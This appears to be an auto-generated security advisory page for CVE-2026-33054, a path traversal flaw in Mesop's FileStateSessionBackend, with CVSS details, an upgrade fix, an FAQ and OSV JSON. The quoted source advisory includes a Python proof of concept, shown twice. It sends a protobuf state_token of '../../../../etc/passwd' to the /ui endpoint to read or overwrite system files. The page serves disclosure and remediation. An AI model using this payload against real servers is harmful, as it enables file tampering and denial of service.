CVE-2026-33054: Mesop Denial of Service Vulnerability

CRITICAL
Advisory Identifier: GHSA-8qvf-mr4w-9x2c
CVSS 10.0
CWE-22
Published
Advisory Summary

CVE-2026-33054 is a CRITICAL (CVSS 10.0) denial of service vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Mesop libraries in the PyPI ecosystem. The issue involves mesop has a path traversal utilizing `filestatesessionbackend` leads to application denial of service and file write/deletion. Remediation is available by upgrading affected packages to version 1.2.3.

CVE-2026-33054 at a Glance

CVE Identifier CVE-2026-33054
GHSA Identifier GHSA-8qvf-mr4w-9x2c
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Mesop
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33054

To remediate this vulnerability, upgrade all affected Mesop dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mesop fixed: 1.2.3
pip install mesop>=1.2.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mesop

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33054, inspect your installed packages using pip:

pip show mesop

Analyze the terminal output to locate any version of Mesop in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.3), your application is affected.

Note: The pip show mesop command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Mesop, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

#### Summary A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. #### Details When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. In `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`. Because this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). ```python # mesop/server/state_session.py def _make_file_path(self, token: str) -> Path: return self.base_dir / (self.prefix + token) ``` Python's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent. #### PoC An attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream. ```python import requests import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled # 1. Craft the malicious protobuf message user_event = pb.UserEvent() # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file user_event.state_token = "../../../../etc/passwd" # Alternatively, targeting Windows: # user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts" serialized_event = user_event.SerializeToString() # 2. Send the message to the ui stream endpoint headers = {'Content-Type': 'application/x-protobuf'} response = requests.post( "http://localhost:32123/ui", data=serialized_event, headers=headers ) # The server will attempt to parse /etc/passwd using msgpack, # resulting in a crash or reading/overwriting operations depending on the request type invoked. print(response.content) ``` #### Impact This vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

CVE-2026-33054 Affected Mesop Versions

1 component(s)
Fixed Versions:
1.2.3
Product / Package Ecosystem Affected Versions Fixed Version
mesop
PyPI
< 1.2.3
1.2.3

References

Frequently Asked Questions

What is CVE-2026-33054?
CVE-2026-33054 is a security vulnerability in Mesop involving Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Mesop versions are affected?
Affected versions include releases prior to 1.2.3 across affected packages: mesop.
What version fixes CVE-2026-33054?
Upgrading to 1.2.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mesop affected?
Yes, mesop is affected in releases prior to 1.2.3. Upgrade your dependency to 1.2.3 or later.
What is the CVSS score of CVE-2026-33054?
CVE-2026-33054 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33054?
CVE-2026-33054 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-33054?
Run the dependency tree command: 'pip show mesop'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8qvf-mr4w-9x2c",
  "modified" : "2026-03-20T21:23:22Z",
  "published" : "2026-03-18T20:01:21Z",
  "aliases" : [ "CVE-2026-33054" ],
  "summary" : "Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion",
  "details" : "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -> Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mesop"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33054"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mesop-dev/mesop"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T20:01:21Z",
    "nvd_published_at" : "2026-03-20T07:16:13Z"
  }
}